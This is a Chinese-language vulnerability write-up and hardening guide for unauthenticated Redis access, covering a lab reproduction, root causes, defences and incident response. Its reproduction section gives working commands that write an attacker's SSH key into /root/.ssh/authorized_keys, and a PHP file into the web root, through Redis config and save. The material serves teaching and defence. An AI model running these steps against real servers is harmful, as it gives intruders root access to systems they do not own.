Redis未授权访问漏洞分析
字数 1145 2025-08-15 21:31:19

Redis未授权访问漏洞分析与防护指南

漏洞概述

Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者无需认证即可访问Redis数据库内部数据,可能导致:

  • 敏感信息泄露
  • 通过config命令进行文件写入操作
  • 服务器被完全控制

漏洞复现环境

服务端环境

  • Redis版本:v6.0.5
  • 操作系统:CentOS 7.5
  • 关键配置修改:
    1. 注释掉bind 127.0.0.1
    2. 设置protected-mode no

攻击机环境

  • 操作系统:CentOS 7.5
  • 工具:Redis客户端(redis-cli)

漏洞复现过程

1. 基本未授权访问

  1. 启动Redis服务:
    ./src/redis-server redis.conf
    
  2. 攻击机直接连接Redis服务器:
    ./src/redis-cli -h 192.168.195.110
    
    无需认证即可登录并执行任意Redis命令

2. 通过SSH密钥获取服务器权限

  1. 在攻击机生成SSH密钥对:

    ssh-keygen -t rsa
    

    (一路按回车使用默认设置)

  2. 查看并复制公钥内容:

    cat /root/.ssh/id_rsa.pub
    
  3. 通过redis-cli连接目标服务器后执行:

    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set x "\n\n\n[公钥内容]\n\n\n"
    save
    
  4. 使用私钥免密登录服务器:

    ssh -i /root/.ssh/id_rsa root@目标IP
    

3. 写入Webshell(需服务器有Web服务)

  1. 假设Web目录为/var/www/html:

    config set dir /var/www/html
    config set dbfilename webshell.php
    set x "<?php phpinfo(); ?>"
    save
    
  2. 访问webshell.php验证是否写入成功

漏洞原理分析

漏洞产生的主要原因:

  1. Redis默认绑定所有网络接口(0.0.0.0)
  2. 默认无密码认证
  3. 保护模式被关闭
  4. Redis的config命令可以修改文件路径和文件名
  5. save命令可以将内存数据写入磁盘

攻击者利用这些特性可以:

  • 读取Redis中存储的所有数据
  • 修改Redis持久化配置写入任意文件
  • 通过写入SSH公钥或Webshell获取服务器权限

防护措施

1. 访问控制

  • 修改redis.conf文件,绑定本地IP:
    bind 127.0.0.1
    
  • 启用保护模式:
    protected-mode yes
    

2. 认证机制

  • 为Redis添加密码验证:
    requirepass yourpassword
    
    (将yourpassword替换为强密码)

3. 权限控制

  • 为Redis服务创建专用用户和home目录
  • 以低权限运行Redis服务
  • 禁止Redis用户登录:
    usermod -s /sbin/nologin redis
    

4. 网络防护

  • 防火墙限制Redis端口(默认6379)的访问
  • 仅允许可信IP访问Redis服务

5. 其他安全措施

  • 禁用危险命令:
    rename-command CONFIG ""
    rename-command FLUSHDB ""
    rename-command FLUSHALL ""
    
  • 定期更新Redis到最新版本
  • 监控Redis日志和异常连接

应急响应建议

若发现Redis未授权访问漏洞被利用:

  1. 立即断开受影响服务器的网络连接
  2. 检查/root/.ssh/authorized_keys文件是否被篡改
  3. 检查Web目录是否被写入可疑文件
  4. 重置所有Redis密码和SSH密钥
  5. 修复配置漏洞后再恢复服务

总结

Redis未授权访问是一个高危漏洞,可能导致服务器完全失陷。通过合理配置Redis的安全选项、限制网络访问和加强权限控制,可以有效防范此类漏洞。管理员应定期检查Redis配置和日志,确保服务安全运行。

Redis未授权访问漏洞分析与防护指南 漏洞概述 Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者无需认证即可访问Redis数据库内部数据,可能导致: 敏感信息泄露 通过config命令进行文件写入操作 服务器被完全控制 漏洞复现环境 服务端环境 Redis版本:v6.0.5 操作系统:CentOS 7.5 关键配置修改: 注释掉 bind 127.0.0.1 设置 protected-mode no 攻击机环境 操作系统:CentOS 7.5 工具:Redis客户端(redis-cli) 漏洞复现过程 1. 基本未授权访问 启动Redis服务: 攻击机直接连接Redis服务器: 无需认证即可登录并执行任意Redis命令 2. 通过SSH密钥获取服务器权限 在攻击机生成SSH密钥对: (一路按回车使用默认设置) 查看并复制公钥内容: 通过redis-cli连接目标服务器后执行: 使用私钥免密登录服务器: 3. 写入Webshell(需服务器有Web服务) 假设Web目录为/var/www/html: 访问webshell.php验证是否写入成功 漏洞原理分析 漏洞产生的主要原因: Redis默认绑定所有网络接口(0.0.0.0) 默认无密码认证 保护模式被关闭 Redis的config命令可以修改文件路径和文件名 save命令可以将内存数据写入磁盘 攻击者利用这些特性可以: 读取Redis中存储的所有数据 修改Redis持久化配置写入任意文件 通过写入SSH公钥或Webshell获取服务器权限 防护措施 1. 访问控制 修改redis.conf文件,绑定本地IP: 启用保护模式: 2. 认证机制 为Redis添加密码验证: (将yourpassword替换为强密码) 3. 权限控制 为Redis服务创建专用用户和home目录 以低权限运行Redis服务 禁止Redis用户登录: 4. 网络防护 防火墙限制Redis端口(默认6379)的访问 仅允许可信IP访问Redis服务 5. 其他安全措施 禁用危险命令: 定期更新Redis到最新版本 监控Redis日志和异常连接 应急响应建议 若发现Redis未授权访问漏洞被利用: 立即断开受影响服务器的网络连接 检查/root/.ssh/authorized_ keys文件是否被篡改 检查Web目录是否被写入可疑文件 重置所有Redis密码和SSH密钥 修复配置漏洞后再恢复服务 总结 Redis未授权访问是一个高危漏洞,可能导致服务器完全失陷。通过合理配置Redis的安全选项、限制网络访问和加强权限控制,可以有效防范此类漏洞。管理员应定期检查Redis配置和日志,确保服务安全运行。